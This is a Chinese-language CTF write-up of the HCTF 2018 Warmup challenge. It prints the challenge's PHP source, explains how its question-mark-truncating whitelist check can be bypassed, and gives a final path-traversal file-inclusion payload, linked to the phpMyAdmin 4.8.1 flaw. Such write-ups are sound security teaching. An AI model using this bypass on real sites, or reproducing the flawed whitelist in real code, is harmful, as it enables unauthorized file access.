[原题复现]HCTF 2018 Warmup(文件包含)

HCTF 2018 Warmup

原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用协会内部的CTF训练平台找到此题

过程

访问页面查看源码发现注释里面的内容访问它

访问获得index.php的源码

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php
 1  <?php
 2     highlight_file(__FILE__);
 3     class emmm
 4     {
 5         public static function checkFile(&$page)
 6         {
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             if (! isset($page) || !is_string($page)) {
 9                 echo "you can't see it";
10                 return false;
11             }
12 
13             if (in_array($page, $whitelist)) {
14                 return true;
15             }
16 
17             $_page = mb_substr(
18                 $page,
19                 0,
20                 mb_strpos($page . '?', '?')
21             );
22             if (in_array($_page, $whitelist)) {
23                 return true;
24             }
25 
26             $_page = urldecode($page);
27             $_page = mb_substr(
28                 $_page,
29                 0,
30                 mb_strpos($_page . '?', '?')
31             );
32             if (in_array($_page, $whitelist)) {
33                 return true;
34             }
35             echo "you can't see it";
36             return false;
37         }
38     }
39 
40     if (! empty($_REQUEST['file'])
41         && is_string($_REQUEST['file'])
42         && emmm::checkFile($_REQUEST['file'])
43     ) {
44         include $_REQUEST['file'];
45         exit;
46     } else {
47         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
48     }  
49 ?> 
View Code

 

 

PHP逻辑运算符

&&逻辑与

||逻辑或运算符


!empty($_REQUEST['file'])
要我们的file变量不为空我们先进行分析这段代码 首先看80行第一个要求

is_string($_REQUEST['file'])要求我们传进来的值是字符串类型

emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数

这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码

 先来熟悉几个函数

//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串

//mb_substr() 函数返回字符串的一部分。

//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

emmm类分析

从代码中发现新的页面hint访问获得flag文件名

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

 

 

 

总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码

 1   class emmm
 2     {
 3         public static function checkFile(&$page)
 4 
 5         {
 6             //白名单列表
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
 9             if (! isset($page) || !is_string($page)) {
10                 echo "you can't see it A";
11                 return false;
12             }
13             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14             if (in_array($page, $whitelist)) {
15                 return true;
16             }
17             //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
18             $_page = mb_substr(
19                 $page,
20                 0,
21                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22             );
23 
24              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25             if (in_array($_page, $whitelist)) {
26                 return true;
27             }
28             //url对$page解码
29             $_page = urldecode($page);
30 
31             //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32             $_page = mb_substr(
33                 $_page,
34                 0,
35                 mb_strpos($_page . '?', '?')
36             );
37             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38             if (in_array($_page, $whitelist)) {
39                 return true;
40             }
41             echo "you can't see it";
42             return false;
43         }
44     }

 

 我们现在可以构造获取flag的语句

hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

 

最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 

 


 

posted @ 2020-02-05 18:59  笑花大王  阅读(13924)  评论(0编辑  收藏  举报